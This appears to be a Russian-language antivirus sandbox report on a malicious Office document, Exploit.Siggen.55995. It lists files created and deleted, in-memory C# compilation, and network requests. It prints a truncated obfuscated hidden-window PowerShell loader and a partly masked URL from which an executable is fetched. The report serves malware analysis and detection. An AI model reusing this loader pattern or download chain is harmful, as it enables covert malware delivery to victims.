Exploit.Siggen.55995

Техническая информация

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function r8dc5 {param($t3dce44)$b4c7268='y69ca';$lb65a7='';for ($i=0; $i -lt $t3dce44.length;$i+=2){$heb568=[convert]::ToByte($t3dce44.Substring($i,2),16);$lb65a7+=[char](...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\ku4twh2x.0.cs
%TEMP%\rr_wh4ch.dll
%TEMP%\res8a3d.tmp
%TEMP%\csc8a2c.tmp
%TEMP%\rr_wh4ch.out
%TEMP%\rr_wh4ch.cmdline
%TEMP%\rr_wh4ch.0.cs
%TEMP%\foavjxdc.dll
%TEMP%\res6e19.tmp
%TEMP%\csc6df9.tmp
%TEMP%\foavjxdc.out
%TEMP%\foavjxdc.cmdline
%TEMP%\foavjxdc.0.cs
%TEMP%\h7ktr7ay.dll
%TEMP%\thmptdrp.dll
%TEMP%\res3c4b.tmp
%TEMP%\res3aa6.tmp
%TEMP%\ku4twh2x.dll
%TEMP%\res39ea.tmp
%TEMP%\csc3c3b.tmp
%TEMP%\csc3a85.tmp
%TEMP%\csc39d9.tmp
%TEMP%\h7ktr7ay.out
%TEMP%\h7ktr7ay.cmdline
%TEMP%\h7ktr7ay.0.cs
%TEMP%\thmptdrp.out
%TEMP%\thmptdrp.cmdline
%TEMP%\thmptdrp.0.cs
%TEMP%\ku4twh2x.out
%TEMP%\ku4twh2x.cmdline
%LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{131732ab-97c7-4e95-ab3e-758ed66b505d}.tmp
%APPDATA%\aab37.exe

Удаляет следующие файлы

%TEMP%\res39ea.tmp
%TEMP%\h7ktr7ay.dll
%TEMP%\h7ktr7ay.pdb
%TEMP%\res6e19.tmp
%TEMP%\csc6df9.tmp
%TEMP%\foavjxdc.dll
%TEMP%\foavjxdc.0.cs
%TEMP%\foavjxdc.pdb
%TEMP%\rr_wh4ch.dll
%TEMP%\foavjxdc.cmdline
%TEMP%\res8a3d.tmp
%TEMP%\csc8a2c.tmp
%TEMP%\rr_wh4ch.pdb
%TEMP%\rr_wh4ch.cmdline
%TEMP%\rr_wh4ch.0.cs
%TEMP%\h7ktr7ay.out
%TEMP%\foavjxdc.out
%TEMP%\h7ktr7ay.0.cs
%TEMP%\res3aa6.tmp
%TEMP%\csc39d9.tmp
%TEMP%\ku4twh2x.out
%TEMP%\ku4twh2x.0.cs
%TEMP%\ku4twh2x.dll
%TEMP%\ku4twh2x.cmdline
%TEMP%\ku4twh2x.pdb
%TEMP%\csc3a85.tmp
%TEMP%\thmptdrp.0.cs
%TEMP%\res3c4b.tmp
%TEMP%\csc3c3b.tmp
%TEMP%\thmptdrp.cmdline
%TEMP%\thmptdrp.pdb
%TEMP%\thmptdrp.out
%TEMP%\thmptdrp.dll
%TEMP%\h7ktr7ay.cmdline
%TEMP%\rr_wh4ch.out

Сетевая активность

TCP

Запросы HTTP GET

http://am###chi.biz/igbobueze.exe
http://am###chi.biz/cgi-sys/suspendedpage.cgi

UDP

DNS ASK am###chi.biz

Другое

Создает и запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function r8dc5 {param($t3dce44)$b4c7268='y69ca';$lb65a7='';for ($i=0; $i -lt $t3dce44.length;$i+=2){$heb568=[convert]::ToByte($t3dce44.Substring($i,2),16);$lb65a7+=[char](...' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ku4twh2x.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\thmptdrp.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\h7ktr7ay.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES39EA.tmp" "%TEMP%\CSC39D9.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3AA6.tmp" "%TEMP%\CSC3A85.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3C4B.tmp" "%TEMP%\CSC3C3B.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\foavjxdc.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6E19.tmp" "%TEMP%\CSC6DF9.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rr_wh4ch.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8A3D.tmp" "%TEMP%\CSC8A2C.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ku4twh2x.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\thmptdrp.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\h7ktr7ay.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES39EA.tmp" "%TEMP%\CSC39D9.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3AA6.tmp" "%TEMP%\CSC3A85.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3C4B.tmp" "%TEMP%\CSC3C3B.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\foavjxdc.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6E19.tmp" "%TEMP%\CSC6DF9.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rr_wh4ch.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8A3D.tmp" "%TEMP%\CSC8A2C.tmp"
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding